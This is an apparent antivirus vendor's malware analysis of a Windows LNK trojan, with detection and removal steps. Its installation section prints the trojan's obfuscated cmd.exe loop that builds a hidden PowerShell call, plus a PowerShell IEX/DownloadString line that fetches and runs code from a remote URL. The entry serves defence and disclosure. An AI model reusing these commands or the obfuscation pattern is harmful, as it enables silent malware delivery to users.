Analysis by: Raymart Christian Yambot
ALIASES:

Trojan.Multi.GenAutorunLnkFile.a (KASPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 1,048 bytes
File Type: LNK
Memory Resident: No
Initial Samples Received Date: 01 Oct 2025
Payload: Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\cmd.exe" /WMRX:F0E /WFXI:BNYE5S /D/C "for %B in (.) do for %s in ("Base64 Encoded Command") do for %E in (wer) do for %V in ("Base64 Encoded Command") do for %G in (hid) do for %m in (po) do for %X in ("Base64 Encoded Command") do for %Q in (nc) do for %D in (-w) do for %a in ("Base64 Encoded Command") do for %H in (sh) do for %L in ("Base64 Encoded Command") do for %d in (-e) do for %c in (ell) do for %t in (exe) do %m%E%H%c%B%t %D %G %d%Q %~s%~L%~X%~a%~V"
  • powershell.exe -w hid -enc IEX (New-Object Net.WebClient).DownloadString('https://{BLOCKED}nde.com/api/itbi/TTmB8MfaugjH6eDiqPX1Ha8H8wahOFoC')

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • https://{BLOCKED}nde.com/api/itbi/TTmB8MfaugjH6eDiqPX1Ha8H8wahOFoC

As of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 20.496.05
FIRST VSAPI PATTERN DATE: 02 Oct 2025
VSAPI OPR PATTERN File: 20.497.00
VSAPI OPR PATTERN Date: 02 Oct 2025

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.LNK.SORVEPOTEL.YAFJA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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